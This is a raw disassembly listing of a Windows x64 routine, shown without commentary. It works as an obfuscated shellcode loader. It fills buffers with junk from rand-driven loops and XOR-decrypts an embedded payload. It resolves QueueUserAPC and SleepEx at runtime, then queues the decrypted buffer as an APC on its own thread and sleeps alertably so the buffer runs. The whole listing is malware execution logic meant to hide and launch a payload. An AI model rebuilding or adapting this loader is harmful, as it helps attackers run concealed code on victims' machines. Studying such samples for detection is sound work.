mov qword [rbp + 0x108], rdx
movabs rax, 0x33fabdfdca502422
movabs rdx, 0xffa1af0db6ed10f5
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x4ef7bfe2fcc1b35b
movabs rdx, 0xcdcc17087f42151e
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0xb22fdc2acdcc1708
movabs rdx, 0x7e80f54c5b3725
mov qword [rbp + 0x12c], rax
mov qword [rbp + 0x134], rdx
mov ecx, 0xa70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0xa70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x880], 0x29b
mov dword [rbp + 0x884], 0
jmp 0x140002a72
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x884]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x880]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, dword [rbp + 0x884]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x880], 1
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x29b
jle 0x1400029e5
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002af0
mov eax, dword [rbp + 0x898]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x890]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x898]
cdqe
mov byte [rbp + rax + 0x40], dl
cmp dword [rbp + 0x890], 0x71
jne 0x140002ae2
mov dword [rbp + 0x890], 0
jmp 0x140002ae9
add dword [rbp + 0x890], 1
add dword [rbp + 0x898], 1
mov eax, dword [rbp + 0x898]
cmp eax, 0x7a
jbe 0x140002aa2
mov dword [rbp + 0x898], 0
jmp 0x140002c65
mov eax, dword [rbp + 0x898]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x88c]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x898]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x88c], 0x7a
jne 0x140002c57
mov ecx, 0x26c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x26c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x878], 0x9a
mov dword [rbp + 0x87c], 0
jmp 0x140002c1d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x87c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov edx, dword [rbp + 0x87c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x878], 1
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x9a
jle 0x140002b90
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x88c], 0
jmp 0x140002c5e
add dword [rbp + 0x88c], 1
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x4a9
jle 0x140002b0a
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x858]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x858]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x874], 0
mov dword [rbp + 0x870], 1
mov dword [rbp + 0x86c], 0
mov dword [rbp + 0x66c], 0x308
jmp 0x140002d22
mov edx, dword [rbp + 0x874]
mov eax, dword [rbp + 0x870]
add eax, edx
mov dword [rbp + 0x668], eax
add dword [rbp + 0x86c], 1
mov eax, dword [rbp + 0x870]
mov dword [rbp + 0x874], eax
mov eax, dword [rbp + 0x668]
mov dword [rbp + 0x870], eax
mov eax, dword [rbp + 0x86c]
cmp eax, dword [rbp + 0x66c]
jl 0x140002cef
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x670]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x968
pop rbx
pop rsi
pop rdi
pop rbp
ret